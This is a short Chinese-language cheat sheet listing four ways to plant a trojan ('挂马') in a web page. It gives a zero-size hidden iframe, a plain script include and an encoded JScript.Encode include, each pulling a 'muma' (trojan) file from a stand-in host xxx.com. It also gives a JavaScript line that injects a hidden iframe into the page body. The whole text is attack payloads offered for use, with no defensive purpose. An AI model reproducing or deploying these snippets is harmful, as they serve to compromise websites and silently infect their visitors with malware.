一、最简单的也是最有效的
<iframe src=http://www.xxx.com/muma.html width=0 height=0></iframe>

二、js挂马
<script src=http://www.xxx.com/muma.js></script>

三、js变形加密
<SCRIPT language="JScript.Encode" src=http://www.xxx.com/muma.txt></script>
muma.txt可改成任意后缀的。

四、不是嵌入了与iframe不同
top.document.body.innerHTML = top.document.body.innerHTML + '\r\n<iframe src="木马地址"></iframe>''